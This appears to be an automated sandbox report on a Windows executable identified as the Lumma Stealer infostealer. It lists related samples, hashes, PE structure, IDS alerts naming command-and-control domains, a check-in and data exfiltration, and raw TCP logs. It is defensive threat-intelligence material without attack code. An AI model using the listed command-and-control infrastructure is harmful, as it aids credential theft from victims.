104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	C8QT9HkXEb.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	0hRSICdcGg.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	6GNqkkKY0j.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Ebgl8jb6CW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	35K4Py4lii.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	ghumRvJGY9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AiaStwRBdI.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HJVzgKyC0y.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	rUfr2hQGOb.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YhF4vhbnMW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	B8NcU4mckY.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	k6olCJyvIj.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	setup.msi	Get hash	malicious	Unknown	Browse	104.21.6.3
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	b0ho5YYSdo.exe	Get hash	malicious	LummaC	Browse	104.21.66.113
	C8QT9HkXEb.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
AKAMAI-ASUS	tFDKSN3TdH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ghumRvJGY9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	104.121.10.34
	Google Authenticator You're trying to sign in from a new location.msg	Get hash	malicious	Unknown	Browse	2.19.198.51
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	23.41.55.10
	xd.x86.elf	Get hash	malicious	Mirai	Browse	23.64.163.184
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	23.194.143.78
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	104.116.58.253
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	184.84.140.11
	armv7l.elf	Get hash	malicious	Mirai	Browse	23.64.11.148

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	tFDKSN3TdH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	ghumRvJGY9.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	AiaStwRBdI.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	HJVzgKyC0y.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	rUfr2hQGOb.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	YhF4vhbnMW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	SPFFah2O2q.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	B8NcU4mckY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.534121709908588
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	YKri2nEBWE.exe
File size:	2'920'448 bytes
MD5:	1c4c5cca8b9c930895e0e425563cf07e
SHA1:	d0db3a5c54648e8480652d342dcb2526e4f9ce4d
SHA256:	36dd0a1b361b0bb7d38e1bccc954188ac2cd7d030440bbf406da3a27fb5ba098
SHA512:	ef183a1158fd51485fe488f6ca15e9e420ee3912aa0cf4856b528a816e705233be1e3d21d94efddcb23478f334ad5ecfbb1e930f3efa8f1109263b258aa9191d
SSDEEP:	49152:ocflVj+cDbIdBAa1ISQRln9lXJnxZsP1Gq+uktbWMySNWz7:oYl1+cDbInAa1IBRl9x1by1Gq+3NW1z
TLSH:	57D53BD2BA4971CFD88A27788527CF426A5E03F94B2018C3A96974BB7DE3DC115F5C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................`/...........@.........................../.....rt-...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCA1931286Ah
movd mm5, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FCA19314865h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	6a68a52c44aa8d43d9111d2390ac0041	False	0.9995021446078431	data	7.9818005594578265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
awkvfzgs	0x55000	0x2a0000	0x29f200	f1feebe07c2c2aaaa399af1976eb1c7b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nvoqryrp	0x2f5000	0x1000	0x600	f627e82837f64e62ecccfd72bfa283b1	False	0.552734375	data	4.916701371159365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f6000	0x3000	0x2200	0507998ed3fa0504a22d7319a8dac258	False	0.08444393382352941	DOS executable (COM)	1.0968012805185083	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T13:09:22.355457+0100	2058514	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)	1	192.168.2.5	62122	1.1.1.1	53	UDP
2024-12-26T13:09:22.593628+0100	2058502	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)	1	192.168.2.5	49392	1.1.1.1	53	UDP
2024-12-26T13:09:22.732990+0100	2058492	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)	1	192.168.2.5	63101	1.1.1.1	53	UDP
2024-12-26T13:09:22.875255+0100	2058500	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)	1	192.168.2.5	62155	1.1.1.1	53	UDP
2024-12-26T13:09:23.026058+0100	2058510	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)	1	192.168.2.5	55701	1.1.1.1	53	UDP
2024-12-26T13:09:23.166540+0100	2058484	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)	1	192.168.2.5	50814	1.1.1.1	53	UDP
2024-12-26T13:09:23.312825+0100	2058512	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)	1	192.168.2.5	56756	1.1.1.1	53	UDP
2024-12-26T13:09:23.453183+0100	2058480	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)	1	192.168.2.5	57309	1.1.1.1	53	UDP
2024-12-26T13:09:25.225746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.102.49.254	443	TCP
2024-12-26T13:09:26.082788+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49704	104.102.49.254	443	TCP
2024-12-26T13:09:27.876648+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-26T13:09:28.651555+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-26T13:09:28.651555+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-26T13:09:29.989306+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-26T13:09:30.761854+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-26T13:09:30.761854+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-26T13:09:32.689522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.157.254	443	TCP
2024-12-26T13:09:37.545483+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.157.254	443	TCP
2024-12-26T13:09:40.569369+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49717	172.67.157.254	443	TCP
2024-12-26T13:09:43.592013+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49729	172.67.157.254	443	TCP
2024-12-26T13:09:44.390705+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49729	172.67.157.254	443	TCP
2024-12-26T13:09:46.195558+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49736	172.67.157.254	443	TCP
2024-12-26T13:09:50.190424+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49747	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 13:09:23.741478920 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:23.741528034 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:23.741585970 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:23.743663073 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:23.743675947 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:25.225616932 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:25.225745916 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:25.230566978 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:25.230577946 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:25.230952024 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:25.284080029 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:25.318907976 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:25.363338947 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.082921982 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.082983017 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.082994938 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.083003998 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.083049059 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.083070993 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.083070993 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.083076954 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.083096981 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.083118916 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.083127975 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.083146095 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.127811909 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.302072048 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.302099943 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.302161932 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.302177906 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.302218914 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.302234888 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.302263021 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.309663057 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.309729099 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.309765100 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.309806108 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.309823036 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.309957027 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.310003042 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.376266956 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.376300097 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.376316071 CET	49704	443	192.168.2.5	104.102.49.254
Dec 26, 2024 13:09:26.376322031 CET	443	49704	104.102.49.254	192.168.2.5
Dec 26, 2024 13:09:26.542299032 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:26.542355061 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:26.542428017 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:26.542743921 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:26.542757988 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:27.876523972 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:27.876647949 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:27.879828930 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:27.879846096 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:27.880166054 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:27.881369114 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:27.881398916 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:27.881455898 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:28.651554108 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:28.651654005 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:28.651710987 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:28.652313948 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:28.652334929 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:28.652348042 CET	49705	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:28.652354002 CET	443	49705	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:28.685570002 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:28.685614109 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:28.685789108 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:28.685975075 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:28.685988903 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:29.989038944 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:29.989305973 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:29.990609884 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:29.990633965 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:29.990869045 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:29.992322922 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:29.992350101 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:29.992400885 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.761881113 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.761945009 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.761980057 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.762022018 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.762027025 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.762046099 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.762067080 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.762111902 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.762155056 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.762162924 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.770139933 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.770209074 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.770217896 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.778511047 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.778578043 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.778587103 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.830944061 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.830965996 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.878014088 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.972184896 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976078033 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976120949 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976156950 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.976171017 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976221085 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.976227999 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976246119 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976294994 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.976429939 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.976444006 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:30.976459980 CET	49706	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:30.976469040 CET	443	49706	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:31.383409977 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:31.383446932 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:31.383516073 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:31.385226965 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:31.385238886 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:32.689419985 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:32.689522028 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:32.691363096 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:32.691375971 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:32.691641092 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:32.692894936 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:32.693114996 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:32.693140984 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:36.086649895 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:36.086925030 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:36.086994886 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:36.087167025 CET	49707	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:36.087187052 CET	443	49707	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:36.237565994 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:36.237694025 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:36.237782955 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:36.238678932 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:36.238715887 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:37.545398951 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:37.545483112 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:37.546870947 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:37.546890974 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:37.547157049 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:37.548492908 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:37.548634052 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:37.548690081 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:37.548809052 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:37.548821926 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:38.533287048 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:38.533416986 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:38.533487082 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:38.533560991 CET	49709	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:38.533581018 CET	443	49709	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:39.265558958 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:39.265598059 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:39.265662909 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:39.266143084 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:39.266156912 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:40.569298983 CET	443	49717	172.67.157.254	192.168.2.5
Dec 26, 2024 13:09:40.569369078 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:40.577159882 CET	49717	443	192.168.2.5	172.67.157.254
Dec 26, 2024 13:09:40.577178001 CET	443	49717	172.67.157.254	192.168.2.5
